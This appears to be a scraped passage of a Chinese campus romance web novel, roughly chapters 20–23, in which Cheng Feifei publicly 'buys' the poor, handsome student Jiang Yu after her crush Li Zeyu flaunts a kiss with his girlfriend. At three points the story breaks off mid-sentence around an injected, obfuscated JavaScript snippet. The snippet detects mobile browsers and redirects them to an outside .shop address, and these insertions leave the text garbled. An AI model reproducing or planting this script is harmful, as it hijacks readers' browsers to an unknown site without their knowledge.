脱离了乖乖女的妆扮,此刻的程霏霏明眸善睐,身上穿着跳跃的撞色,一侧肩带随意耷拉着。看人的时候,眼神懒懒的,带着一丝不经意的撩拨,瞬间就迷了他的眼。 李泽昱的心,突然开始不合时宜地快速跳动。 他想起艺术节那晚,表演结束的时候,她看向他的那个眼神。至今想起来,仍然会令他心浮意动。 李泽昱的嗓子有点发干。 余光里,姚安琪已经袅袅婷婷地走了过来,亲密地挽上他的胳膊。 “老公,怎么才来,人家等了你好久呢!” 李泽昱回过神,若无其事地调转目光,对着姚安琪温柔一笑。理智在这一刻归位,浇熄了他心中那团冲动的小火苗。 他顺从地被她挽着手,走到餐桌边落座。过了一会儿,才状似不经意地抬眼——程霏霏竟然一直站在原地看着他,目光很直接,面色却浅淡。 两个人的视线在空中交汇。 李泽昱骤然一慌,心脏像是被人一把攥住,不禁面色涨红,口干舌燥,只能羞窘地低下头。 还未按下这慌乱的惊悸,姚安琪忽然靠近,“吧唧”一声亲在了他的脸颊上。 “泽昱……”她贴着他的胳膊,与他十指相扣,近在咫尺的笑容被无限放大,“你喂我吃小蛋糕,好不好?” 李泽昱盯着这张妆容精致的脸孔,有点恍神——他到底是为什么答应了她来着? 哦,是了,那个香港的人才交流项目。 今天上午,国际交流中心的老师通知他,各类手续皆已经办妥,他下学期伊始即将离开江城,奔赴香港。 和姚安琪一起。 这是他想要的结果,得到之后,却并没有想象得那般开心。 可是交易已经达成,李泽昱知道,他需要为此支付代价。 迎着姚安琪炙热的目光,李泽昱像个提线木偶一般,端起眼前的瓷碟,插起一小块奶油蛋糕,送到姚安琪唇边,看着她张开红彤彤的小嘴,将那抹蛋糕卷入舌尖。 一小块奶油粘在了亮晶晶的唇膏上。 李泽昱盯着那块奶油,脑子里闪过诸多画面。 有他妈无休止的念叨,还有家里永远拆迁不了的老房子……今天,团委老师还拍着他的肩膀,夸赞他能力出众,只需稍加提携,日后必有大好前程。 李泽昱抬起手,挑起姚安琪的下颌。 他很清楚姚安琪为什么让他来,这点小女生的心思,浅薄又无趣,连勾心斗角都算不上。 而他李泽昱,需要让他的女朋友满意。 人生有许多条路,有的路远,有的路近。选择的重要性往往大于努力,每一步都走得正确,合在一起,才是属于他李泽昱的康庄坦途。 他朝着那抹奶油吻了上去。 一瞬间,脑海里想起的,是程霏霏灿烂的笑颜。她穿着最可爱的碎花裙,眼含星光一般地望着他,仿佛对他充满信赖、倾心已久。 李泽昱不自觉地加深了这个吻。 莉莉在旁边惊讶地捂住了嘴,周围的同学们也目瞪口呆地围观着这位学生会副主席的秀恩爱现场。 有人在惊呼,有人在鼓掌,有人拿着手机拍摄,现场一片吵吵嚷嚷的起哄声。 而程霏霏安安静静地站在吧台前,一眼不眨地看完了全程。 她知道,姚安琪就是故意要秀给她看的,可她还是很捧场地当了一回观众。 手一直放在衣兜里,那里有一枚常年随身携带的钥匙扣。细润的皮质有些泛凉,令她的心也跟着瑟缩。 她想起第一次见到李泽昱的场景。 那时候,她刚刚从一场漫长的昏厥中睁开眼睛,俊秀的男生就站在她的病床边,对她说,你的点滴快打完了,我帮你叫护士吧。 那笑容如此温润,就如他今天注视着姚安琪的眼神,满是和煦的柔情。 程霏霏惋惜地想,努力了那么久,老天还是没有站在自己这一边。 她终究没能实现当年的夙愿,得到那个曾经拉了一把自己、帮她走出低谷的人。 楠木桌面发出一声柔和的钝响。 程霏霏侧眸,看到吧台上推过来一杯冒着氤氲白气的热可可。 棕色的可可上,还飘着几粒粉绿相间的棉花糖。 她眸光轻晃,惊讶地抬起头:“你刚刚……一直在给我做这个?” 江羽点了点头,目光沉甸甸的,带着些隐隐的担忧:“尝尝看。” 程霏霏端起白色的马克杯,紧绷的神色松缓下来:“你怎么知道我爱喝甜的?” “猜的,刚被你验证。”江羽轻轻一笑。 “我以前因为低血糖晕倒过一回,后来就养成了习惯,总是爱喝甜甜的饮料。” 程霏霏的手指终于从兜里的钥匙环上离开,回到桌面上,弹了弹雪白的马克杯壁,发出清脆的声响。 “习惯可不像人,很难说变就变。” 江羽没有说话,只是定定地望着她。 程霏霏忍不住腹诽,自己真是自作多情得可以,竟然会觉得这个刚刚认识的帅哥在……心疼她? 面上忽然有些赧然,她赶紧拿出手机,打开添加好友的二维码,递到江羽面前。 “你刚刚答应了的,不许耍赖哦!” 江羽看着她重新精神起来的小脸,无奈一笑,不置可否地点点头,也拿出手机。 “叮”一声,好友已添加。 这清脆的声响,在程霏霏听来,真是顺耳得不得了。就像是买卖谈成后的一锤定音,标志着眼前这个人已经正式为自己所有。 江羽的微信名是他的名字拼音——“Yu”。 程霏霏一愣,想起刚刚对自己的调侃。 她怕是对叫Yu的男人情有独钟。 反正也不着急走,程霏霏索性从旁边拖过一把高脚圆凳,一屁股坐了上去:“不介意我在这里待一会儿吧?那边太闹腾,听着烦。” 江羽自然不会反对。 程霏霏将手机反叩在桌面上,捧着那杯热可可,小口啜饮着。 冬天落日早,尚未到晚饭时刻,天色已经暗了下来。透明的落地窗外,残风卷着几枚枯黄的碎叶,捶打在院子的露台上。 程霏霏窝在这温暖的吧台一隅,竟然有一种奇异的、岁月静好的感觉——总之,一点也不像个刚刚才在情场上落败的失意者。 余光里,姚安琪正靠在李泽昱的肩头,一脸甜蜜。 不知道是不是程霏霏的错觉,姚安琪的目光,总是时不时地瞟过来。 那得意洋洋的眼神里,似乎夹带着一缕趾高气昂的挑衅,穿过满堂人声,射向自己这安静的角落。 几个回合下来,程霏霏要是能忍,就不是程霏霏了。 此刻,那点子痛失男人的失落之情,早已被熊熊怒火蒸成了空气。 她愤愤地想,好你个姚安琪,老老实实秀你的恩爱便罢了,竟然还对着我挑灯拨火,想让我羡慕你们这对夙世鸳鸯?门儿都没有! 程霏霏拿起手机,对着江羽低头工作的侧颜,轻轻按下快门。 一分钟后,她沉寂已久的朋友圈里,出现一条更新。 照片上,男生眉清目秀,脸颊白如细瓷,优越的侧颜轮廓在深色背景的映衬下,像夜空里皎洁的月光,带着一种淡淡的、温和的宁静。 配文 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14010457|148545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只有三个字:【我的人。】 瞬间引爆了朋友圈。 无数留言和点赞纷至沓来,大家都在问程霏霏,从哪里搞来个这么极品的帅哥? 而程霏霏则实话实说:【花钱买的。】 接着,又意有所指地补充道:【一点也不比某些人辛辛苦苦追来的差!】 …… 当天晚上,江城大学论坛的访问量,达到了史无前例的高峰。 广大吃瓜群众异常忙碌,不知道是先磕学生会副主席那高调的官宣热吻,还是先去膜拜播音系小美女的惊世壮举。 毕竟,人家可是将拓知学院那位帅出圈的新晋校草收入了囊中。 校草入校稍晚,平时异常低调,从不参加学校的活动,不怎么为人所知。就连校草这个名号,也是今天晚上现封的。 听说本人非常穷,平时穿得也朴素,但架不住人是真的又高又帅。再加上拓知的名头,很难泯然众人。 跟他一比,以往那些校草候选人,都有些不够看。论坛上角逐了很久的校草之争,终于在今晚一锤定音。 只是,这么帅的男孩子,没有爆恋情,却先陷入了包养绯闻…… 可见,帅哥也是要为五斗米折腰的。 …… 姚安琪刷着校园论坛,越看越气,忿忿地将手机摔出去老远。 费尽心机赢得了胜利,竞争对手却早已经悄悄地改弦易辙,乘了别的东风——还没告诉她! 胜利的喜悦顿时少了一半。 姚安琪趴在枕头上,气得连李泽昱的信息都懒得回了。 * 程霏霏窝在寝室的豪华大软椅里,语音回复第N个跑来打听八卦的人:“我真的不知道他是拓知的学弟!” “我要是知道,嗯,可能,大概,会照顾一下学霸的颜面吧。”程霏霏挠了挠头,有点窘。 拓知在江大的地位,堪比清北在众多高校中的盛名,是“壁一切”的存在。 程霏霏原以为江羽只是个普通打工仔,没想到,他居然是江大的学生,成绩还这样厉害。 她想了又想,点开朋友圈那张照片——柔美的灯光下,江羽白皙的侧脸如玉般清俊脱俗,定格在一堆数不清的点赞和留言里。 程霏霏摸着下巴,感叹自己拍得可真好;欣赏了一番之后,不情不愿地更改为“仅自己可见”。 算了,给小帅哥留点面子。 忽然,只听“哐当”一声巨响,寝室的门被人大力撞开。 任可心一路狂奔,喘得脸红脖子粗,凶猛地扑到程霏霏身上,揪住她的睡衣领子:“你你你真的包了个帅哥?” 程霏霏一把推开她的钳制,随意点了点头。 任可心激动地一蹦三尺高:“好啊程霏霏,趁我和黎玥不在,独自搞出这么一桩壮举,我只能说……干得漂亮!” 她拖过一张凳子坐下,扇了扇满脑门的汗:“恭喜你,终于告别错的,走向新的人了!” “这不一样。”程霏霏撕开一包薯片,嘎嘣嘎嘣地嚼。 “有啥不一样?” “在李泽昱身上吃的亏,够我消化半辈子了,再也不想为男人伤心动肝了。这恋爱谁爱谈谁谈,我是不谈了。以后啊,我就只要世俗的快乐!” “……什么是世俗的快乐?” “花钱的快乐、拥有的快乐呗!”程霏霏翘着二郎腿,露出西门庆一般猥琐的笑容,“还有什么比雇佣关系更加牢靠?以后,我想怎么样,就能怎么样,也是时候享一享男人的福了!” 任可心睨着她,露出“你是不是人”的表情。 想到江羽,程霏霏一双眼睛亮亮的,兴奋地拿起手机:“也不知道我那贫穷的小帅哥在做什么。” 她编辑了一条微信:【明早姐姐去找你啊!】 想了想,又删掉,改为:【明早你来找姐姐。】 信息发出去,程霏霏甚为满意。 今天真是心绪起伏的一天,要快点睡个美容觉,好好补补身体才行。 她打发任可心回去,也没管江羽回没回消息,手机一扔,熄灯钻进被子,便酣然入了梦乡。 21. 21 初冬的清晨,太阳还没有完全升起,校园里的一切都笼罩在静谧的灰白之中。 寒风冷啸,晨起的人个个裹成了粽子,遮得面目模糊。唯有江羽,独自站在女生宿舍的楼下,只穿了一件单薄的外衫,兜帽也没戴。 他怀里揣着一个纸袋,安静地矗立着。远远看去,像一株终年生长在亚热带的树,一朝被移植到这里,瑟瑟冷风也吹不灭浑身蓬勃的温热。 江羽平视着前方,不知道在想什么,眼角眉梢都藏着按捺不住的笑意。 早起的宿管阿姨披着厚实的大袄,隔着一扇玻璃门,无奈地摇摇头。 这个年纪的男孩子,有情饮水饱,为爱喝几口西北风而已,哪里会觉得冷? 就是没见过这么执着的,都站了一个小时了。 时间一分一秒地过去,宿舍楼下渐渐热闹了起来。上早八课的学生们鱼贯而出,经过江羽的时候,纷纷投来打量的目光。 江羽抬起头,遥望着程霏霏紧闭的窗口,唇齿间也忍不住呵出一口凉气。 而程霏霏早就把昨晚的信息忘得一干二净,一觉睡到了日上三竿。 她朦朦胧胧地睁开眼,胡乱摸出手机,微信已经堆成了山。 打着呵欠起身,程霏霏挨个看未读消息,直到划到最下端,才看到江羽的微信:【我在你宿舍楼下。】 发送时间:三个小时前。 程霏霏眉头一皱,扒拉了件羊绒开衫套在睡衣外面,不慌不忙地挪下床,推开阳台的门。 外面天光大亮,冬日的晴空碧波万顷,宿舍楼下人来人往,哪里还有江羽的影子? 她趿拉着拖鞋,来到一楼大门口,伸长脑袋确认了一圈,的确没看到人。 刚一转身,宿管阿姨从隔间的小窗口里探出头:“312的程霏霏?” 程霏霏之前被这阿姨收缴过几回暖身暖心的小家电,也算是有些来往,遂点点头:“是我。” 阿姨伸出手,递过来一个纸袋:“你那个男朋友够早的,六点半就在这里等了。人刚走不久,托我把这个转交给你。” 程霏霏愣愣地接过,竟然是一袋子麦当劳早餐。 火腿蛋三明治泛着饱满的色泽,可惜早已经凉透了。 程霏霏提着纸袋回到寝室,随手扔在了桌子上。 不一会儿,人又踱了回来,嘴里叼着牙刷,对着纸袋思考了一阵子,转身打开黎玥的衣柜。 她从柜子里翻啊翻,找出整个寝室最后一样尚未被收缴的漏网之鱼——一只迷你煮蛋器。 程霏霏把这东西刷干净,注水插电,将袋子里冰冷的食物放进去。 不一会儿,小锅里传出咕嘟咕嘟的蒸汽声,温热的水气喷在她的眼角,打断了程霏霏遐想的思绪。 她盯着侧壁上逐渐漫起的水泡,托着腮想,自己随口交代了一句话,对方就这么巴巴地跑过来,只能说—— 程霏霏思考了半天,得出结论:江羽是个还算靠谱的包养对象。 重新加热的三明治软塌塌的,没什么口感,可程霏霏还是全吃完了。 她看着空空如也的纸袋,又发呆了片刻。 直到走廊里响起热闹的人语声,程霏霏才意识到,上午的课已经结束了。 她以最快的速度把自己拾掇好,脚步轻快地冲出了门。 太阳已经升上晴空,碧蓝如洗的底色上飘着丝丝缕缕的云。程霏霏深深呼吸了一口凛冽的好空气,忽然觉得,过去这些时日的憋闷,好像就这么一下子散掉了。 至于原因是什么,她也说不好。 昨天刚认识的小帅哥很认真地执行了她随手派发的指令,让程霏霏这个糊涂金主觉得满意之余,还升起许多好奇。 天气很好,她要舒舒服服地去找小帅哥吃个午饭。 ——虽然自己还饱得很。 走出宿舍大门,老远就看见李泽昱裹着厚厚的围巾,站在不远处的一株银杏树下。 那围巾一看就猜得出是谁送的。通体印着硕大的logo,简单直白,恨不得昭告全天下,它有多贵。 暗金色的叶子飘下来,落在他的名品围巾上,被李泽昱抬起手小心地拂去。 程霏霏就这么远远地看了一会儿,在脑海里反复回想,她喜欢上这个人的理由。 不一会儿,对方也抬起目光,看了过来。 程霏霏的理由还停留在第一条:他救过自己一次。 就这样沉默地对视了半晌,李泽昱忽然抬起脚步,朝这边走来。 想装没看见已经来不及了,程霏霏清了清嗓子,挂上一个社交款微笑:“学长,这么巧?” 正午的阳光落在她的肩头,亚麻色的发丝泛着细润的亮泽,粉面朱唇的小脸微微仰着,看向李泽昱的眼神清澈得如头顶上的晴空一般。 李泽昱被这纯澈的笑容晃花了眼,心中登时一片酸软,一时忘记了要说什么。 程霏霏耐心地等着,笑容的弧度却随着横亘在二人之间的沉默,越收越小。 她只好先出声:“在等姚安琪吗?我进去帮你喊一声?” 李泽昱这才回神,张了张嘴:“不必,我在等你。” 程霏霏目露疑惑。 “昨天发生的事情,希望你别太往心里去。”李泽昱抬起眼睫,眉宇间竟然露出一丝惆怅,“如果伤害到了你,我跟你道歉。” 这下,程霏霏连强颜欢笑也不能了。 昨天的一幕幕重新在脑海里上演,那股憋闷的窒息感隐隐再次卷土重来。 李泽昱的目光有些飘忽,犹豫地问:“艺术节那天,你上台演奏,是为了我吗?” 程霏霏表情空白地盯着远处树叶上的一个光点,没承认,也没否认。 李泽昱低落地说:“对不起。” 程霏霏勉强笑笑,摇了摇头。 感情的事,不成便不成,也谈不上谁欠了谁。 “学长,如果没有其他事,我就先走了。”程霏霏努力维持着表情管理。 李泽昱却静默了一瞬,蹙着眉道:“霏霏,我有苦衷。” 程霏霏面上不显,心下却有些惊讶。她没想到李泽昱会说出这样的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14024207|148545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话。 自从高三那年碰到他,到现在,已经过去了整整两年。两年来,程霏霏想尽了各种办法往这人跟前凑,机锋打了无数个来回,可李泽昱就像一尊油盐不进的泥人,永远温情脉脉,永远忽近忽远。 要不是循着那份最初的悸动,依程霏霏的性子,也很难坚持至今。 今天的李泽昱不知道怎么了,竟然就这样把过去那些不可言说的陈年暧昧通通翻扯了出来,大喇喇地摊在了太阳底下。 “霏霏,你会忘了我吗?” 程霏霏仿佛受到了惊吓,不可思议地瞪着大眼看他。 “我知道,我已经没有资格说这些,更不敢奢求你什么。”李泽昱垂下目光,向来滴水不漏的笑容里竟然透出一丝真实的倦意,“我们这种出身,有时候不得不做出一些身不由己的选择。你一定能够理解我的,对吗?” 程霏霏的眼皮已经开始跳。 自己这穷学生的人设,立得也太稳了点吧,竟然还没塌? 她觉得,眼下急需要说点什么,赶紧结束这场离谱的角色扮演,免得生出更多误会。 脑子里正在犹豫着如何遣词造句才能显得自己不像个诈骗犯,李泽昱却忽然靠近,轻轻握住了她的手腕。 程霏霏的呼吸一滞。 李泽昱定定地看着她:“霏霏,等我从香港回来,一定给你一个交待。” ——给我交待?交待什么? 程霏霏震惊地眨了眨眼睛,内心像被天雷劈过一样崩溃。这对话的走向已经逐渐脱离她的预想,向着荒唐的方向一路狂奔而去。 她难以置信地想:我长得,就这么像一个备胎吗?! “他们都在传,说你看上了一个拓知的小子。我知道,你一定是因为生我的气,才故意那样的。”李泽昱的眸光含着理解,似乎根本没有把这桩小事放在心上,“你还愿意跟我生气就好。” 李泽昱的眼神里盛满了为难与不舍,仿佛对她用情至深。 程霏霏看着他的嘴巴一闭一合,说出这堆冠冕堂皇的话,内心忽然扫兴到了极点。 时光的滤镜已经碎了一地。 程霏霏还要赶去找小帅哥吃饭,不想再和别人的男朋友玩这种无聊的文字游戏了。 她抓住对方的手腕,稍稍用力,想要将自己的手抽出来:“学长,你先放手,我们这样……不太合适。” 李泽昱却紧抓着她不放,用仅他们二人听得见的音量说:“霏霏,等我。” 宿舍楼门口,下了课的学生们三三两两地经过,看到拉扯的两个人,不自觉地看过来,周遭的人声越来越杂乱。 “咔嚓——”,有围观群众用手机偷偷拍下了照片。 快门的声音令李泽昱骤然清醒,立刻条件反射地松了手,后撤了一大步。 程霏霏揉了揉被攥疼的手腕,赶紧把胳膊藏在身后。也没管李泽昱还要说什么,闪身就从旁边的缝隙里溜了。 看热闹的人群还没有散,七嘴八舌地议论着眼前的八卦。 李泽昱独自留在原处,神情黯然。 22. 22 程霏霏一路小跑出老远,才长抒一口气,彻底没了吃午饭的心情。 她掏出手机,给任可心发了条消息:【哪儿呢?】 任可心:【刚下课,欢迎骚扰。】 程霏霏调转方向,往摄影系的教学楼走去。 本以为今天的事情就这么翻篇了,可是当天下午,一张照片被传到了校园论坛上,而后疯狂传播。 照片里,李泽昱背对着镜头,看不到表情。这个角度,只能看到程霏霏泫然欲泣的小眼神,双手抓着对方的手腕,仿佛在苦苦挽留。 留言区里,大部分人都站姚安琪的立场,指责程霏霏公然勾搭有女朋友的男生,脸皮可真厚。 当然,也有少数同情程霏霏的人,感慨这妹子真是好深情,都这样了,还不放弃。 学校后街的奶茶店里,程霏霏翻了翻长达数页的八卦楼,重新调出那张照片,怼在任可心面前。 “我这个表情,难道不是【求求了,快放我去吃饭】的意思吗?这帮人的眼睛是瞎的?” 任可心:“要怪,只能怪你长了一张纯欲的初恋脸。甭管什么眼神,看起来都像受了情伤!” 程霏霏把手机一撂,嘬了一大口奶茶:“得,随他们去吧。” “你不出面澄清一下?” “澄清什么?”程霏霏嫌弃地一蹙眉,“我闲的啊?去满足那些看客的好奇心。” 任可心还在翻看评论:“可是霏霏,舆论的力量很可怕的,大家又喜欢看图说话。这下子,恐怕没几个人会相信你俩不清白了。” 程霏霏无所谓地耸了耸肩。 任可心还是不放心:“你该不会……还对这姓李的念念不忘吧?” “那倒也没有。” 程霏霏支着下颌,搅着杯子里的奶茶,咧出一个不怀好意的笑:“那个姚安琪,在我面前耀武扬威不是一两回了。正好有机会给她添点堵,我还巴不得!” 任可心了然地点点头。 程霏霏跟姚安琪之间,是出了名的水火不相容。不了解的,还以为她们是宿命的天敌。 其实,追根溯源,两人最早交恶并非是因为李泽昱,而是大一时候的一场演讲比赛。 那场比赛上,程霏霏是主持人,姚安琪是参赛选手。本应是井水不犯河水的关系,奈何演讲的当天,姚安琪在台上有些紧张,没有把控好节奏,一个不小心就超了时。 眼看时间已经过了,程霏霏作为主持人,只好上台出声提醒。 这一提醒,搞得姚安琪更加紧张,讲话也开始磕磕巴巴。 大概是在某个词上磕巴出了别样的效果,程霏霏没忍住,捂着话筒无声而笑。 主持人一笑,台下观众也跟着笑。 笑声从一小拨人开始扩散,像浪花一般越卷越大,最后竟然带得全场观众都哄笑起来。 姚安琪被这满场笑容激得面红耳赤,四肢一片冰凉,早就将稿子忘了个干净,只记得全场的人都在嘲笑自己。 最终,她也没能完成那场演讲。 下台后,姚安琪羞愤欲死得浑身发抖。这一切的源头,都是那个主持人! 自那之后,两个人便结下了梁子。姚安琪恨不得在一切场合和程霏霏对着干,但凡和程霏霏有关的事,她都要掺一脚。 程霏霏虽然觉得莫名其妙,但敌不犯我,我不犯人;敌若犯我,我不做人。一年多来,两个人你来我往,刀光剑影,谁也不愿意让步半分。 后来,不知是命运使然,还是故意为之,两个死对头竟然喜欢上了同一个男人。 如今,已经很难分辨出是谁先喜欢的,总之,她们的斗争更加白热化了,血雨腥风,不止不休。 艺术节那天,姚安琪一早就听到学生会的人传八卦,说程霏霏专门嘱咐过灯光组的人,想要营造出浪漫的氛围感,因为她演奏结束后,有重要的话要讲。 姚安琪立即就猜到对方想做什么,她等的就是这一天! 于是,故意卡着点,在朋友圈发了那张照片。 原本还想亲自在现场秀一波恩爱,让程霏霏也体会体会当众下不来台的感觉。没成想,程霏霏竟然把表白现场替换成了社团招新,算是逃过一劫。 任可心嚼着满嘴珍珠,打量程霏霏的神色:“话说,你怎么一点也不伤心的?” “我伤什么心?”程霏霏一脸莫名。 “你伤什么心?”任可心无语地扶额,叹了口气,“这件事的重点,难道不是李泽昱不做人,既要又要吗?一边谈着女朋友,一边还想和你藕断丝连!你喜欢的人竟然是这种人渣,难道不足以令你伤心?” 听到这话,程霏霏果真愣了一愣;而后,眼神迅速黯淡了下来。 任可心毫无所觉,继续指着她的鼻子骂:“我时常怀疑,你究竟喜不喜欢那个李泽昱!有时候吧,感觉你爱惨了他;有时候又觉得,你一点也不在意他。相比他,你甚至更在意那个姚安琪。根据我丰富的感情经验,你这种的根本不能叫爱。” 程霏霏蹙起眉:“你丰富的感情经验?难道是那段持续了两周半的恋情?” “时长不重要,重要的是质量。”任可心一摆手,将话题及时拉回,“你对李泽昱到底怎么想的?” “他都和别人在一起了,我还能怎么想。”程霏霏托着下颌,眼神罕见的忧愁。目光穿过奶茶店的玻璃墙,投向外面热闹的人群。 “可心,你还记得高中时候的我吗?” 任可心叼着吸管:“相信我,但凡是咱们学校毕业的,没人可以忘得掉。” 程霏霏扯出一个笑,也没反驳,继续望着对面的人行道。 一个红裙子的小女孩被妈妈牵着,手里捧着一只硕大的棉花糖,吃得正香甜。 “上高中那会儿,有一天,我在书房发现了一份起草好的离婚协议书。” 任可心咀嚼的动作停住,惊讶地抬起头。 程霏霏咧了咧嘴:“那个时候我才知道,我爸和我妈,居然打算离婚。” 她无意识地转动着吸管,声音很轻很淡:“从小到大,他俩一直很忙,顾不上我和我哥,我都理解。等我好不容易长大了,不需要父母无微不至的关怀了,他们却要离婚。为了阻止他们,我只好把自己活成了个麻烦精。” 脑海里忆起那些纷扰的过往,遥远得仿佛是上辈子的事了。 任可心想起高中时的程霏霏,在学校里犹如一只上蹿下跳的皮猴,考试成绩回回吊车尾,时不时被叫家长,害得程广材和罗美 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14033285|148545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 琼三天两头地往学校跑,不停地操心她的学业和心理状态。 “高二暑假,有一天,我爸和我妈吵得很凶。我大哭一场,偷偷离家出走了。那时候也不知道去哪儿,只想快点逃离江城,就在火车站随便买了张票,去了帝都。可惜路上不太走运,手机和钱包被小偷偷了,到帝都以后,还生了一场大病。” 明明讲的是糟心事,程霏霏的眸底却一片柔软,盛满了温柔的情愫。 “在帝都的时候,幸亏李泽昱救了我,把我送到医院。” “原来如此……”任可心露出了然的神色,“怪不得,你艺考的时候一碰到他,好像早就认识了,还一副非他不可的模样。追了那么久,即便那小子态度暧昧,你仍旧不气馁。” “不知道为什么,在我心里,他一直都是我初见他时的样子。也许是这个原因吧,后来发生了那么多事,我很难过,同时又很割裂。可能我打心眼里,并不想面对。” 任可心叹了口气,心疼地握住好朋友的手。 程霏霏怅然道:“他离开江城也好,不在我跟前晃悠,我也就没机会看到他更多不堪了。” 曾经的记忆有多美好,后来的现实就有多令人失望。 程霏霏甚至幻想,要把那段回忆封存起来,像制作标本那样,给自己装裱一个永远实现不了、也永远不会破灭的梦。 那个梦,是她人生中第一次的耳热心跳,是她的初恋。 即便过程堪称狼狈。 彼时,她漫无目标,周身一无所有,被灭顶般的自我厌恶裹挟着,如同淹溺在绝望的真空里,泅渡无门。 没人看得见她的无助和伤痛。 大家都只当她是一个叛逆期的少女,出格行为背后那些声嘶力竭的求救,仿佛汪洋上漂浮的孤灯,照不穿暗无星光的长夜。 是小提琴的旋律击碎了负重千钧的心墙,犹如汩汩清泉般,流进了她干涸的心底。 演奏会结束的时候,程霏霏窝在座位上,捂着脸,泣不成声。 她决定,结束这场荒唐的离家出走,回江城去,接受一切结果。 好的坏的,都是她要面对的人生。 程霏霏攥着演奏会的票根,和一根断掉的钥匙扣,用那个少年接济的现金,买了一张返程的火车票。 火车在轨道上发出轰鸣的钝响,程霏霏伏在窗前,望着无尽的碧空,反复回忆在帝都这一天一夜的经历,一颗心逐渐跳得乱七八糟。 后来的这些年,她反反复复地回忆,独自沉浸在热烈的心动里,任凭时光的滤镜将一切装点得至善至美。 她不允许任何人践踏这份情感,初恋对象本人也不行。 现实中的人自私丑陋,程霏霏宁愿造一个梦。在那个梦里,少年永远是当初的模样,拥有淳澈的善意和金子般的玲珑心,会拉着她的手,对她说:别怕,我不走。 逃避现实,又如何呢? 人生这么辛苦,她自欺欺人一下,怎么了? 悄无声息地爱着一个假想的人,虽然无限寂寞,但某种意义上来说,也代表无尽的自由。 程霏霏从包里拿出那枚钥匙扣,紧紧攥在掌心。 这是那场美梦的信物。 她还不愿从梦里醒来。 23. 23 任可心觑着好友失神的样子,也跟着吐出一口郁闷的浊气。 爱情的苦水啊,每一杯都各有各的苦。 两个女孩就这样泄气地靠在奶茶店的软座里,互相依偎着,一副看透世事、了无生气的样子。 忽然,一只轻巧的木质托盘落在面前的桌子上,发出一声清响。 托盘里盛着两只浮翠欲滴的青提小蛋糕。 任可心恍惚地眨眨眼,目光从鲜嫩的甜品往上,看到送来托盘的人,结结巴巴地说:“你是……” “江羽?你怎么在这儿?”程霏霏已经先她一步,叫出了对方的名字。 语气带着一丝意外的惊喜。 江羽心中一松,弯下腰,奶茶店的灯光打在他的侧脸上,衬得他周身的气质都跟着和暖了不少。 程霏霏这才注意到,他穿着浅色的卡通衬衣、深咖色的棉布围裙,围裙上还画着一只小熊——是这家店的工作服。 “我在这里打工。” 程霏霏惊讶地瞪大眼睛——帅哥这工打得也忒多了,每次见到他,都穿着不同的制服,在打不同的工。 任可心已经回过神来,一拍大腿:“想起来了!江羽,我们爱鸟社的新成员!” 她压低嗓门,手掌支在嘴边,小声对程霏霏嘀咕:“就是招新的时候……咳咳,替你招揽的那位。” 程霏霏扬了扬眉,赞赏地弹了一记闺蜜的额头:“你倒是了解我的喜好。” 她眼睛里重新又荡漾起明亮的光,伸出手,轻轻拉住江羽围裙的下摆,十分不见外地对任可心介绍:“这位是江羽同学,是我的——” 要怎么介绍他呢? 程霏霏在脑海里搜刮了好半天,硬是找不到一个合适的词去形容他们之间的关系。 说男朋友吧,那显然不是;但若直接说这是她的包养对象,又有点过于赤裸裸。 这么直白的词汇,不适合他。 任可心一脸“废话少说”的表情,夸张地摆了摆手:“我懂,我懂!那个,帅哥啊,这甜品我们可没点呢?” “这是店里的新品,免费品尝。”江羽微微一笑,看向程霏霏,似乎有些意有所指,“不开心的时候,吃点甜的试试看。” 还挺喜欢投喂人? 程霏霏想起昨天那杯热可可,眼睛弯了弯:“不收钱的哦?那我可不吃白不吃了。” 说着,插起一小块蛋糕送进嘴里。青提的香甜伴着少许微酸涌上舌尖,程霏霏满足地眯了眯眼。 果然没有什么烦恼是一顿甜点消灭不了的。 任可心的眼珠滴溜溜,在面前的两个人身上来回瞟。 人与人之间的CP感果真是玄学。 那个李泽昱,她硬看了一年多,怎么看都觉得不顺眼。而江羽出场十分钟,她竟然已经在他和自己好朋友的身上感觉到一种莫名其妙的投合感。 什么叫天造地设的一对?这就是。 任可心暗暗惊讶,同时在心里松了口气。她拿出手机,佯装着急地说:“那个……我们导师紧急召唤,我先闪人了,你们二位继续哈!” 没等两个人发话,她就十分知趣地起身,火速蹿出了奶茶店,一溜烟跑没影了。 任可心一走,程霏霏独自坐在原处,目送着江羽回到柜台,继续工作。 鹿客那有棱有角的衬衣,被他穿得像个清冷的贵族;而这家奶茶店的衣服可可爱爱的,四处透着萌感,衬得他整个人暖融融的,看上去十分平易近人,更像个大学生本来的样子。 程霏霏越看越觉得满意,支着下颌,嘴角忍不住挂起笑纹。 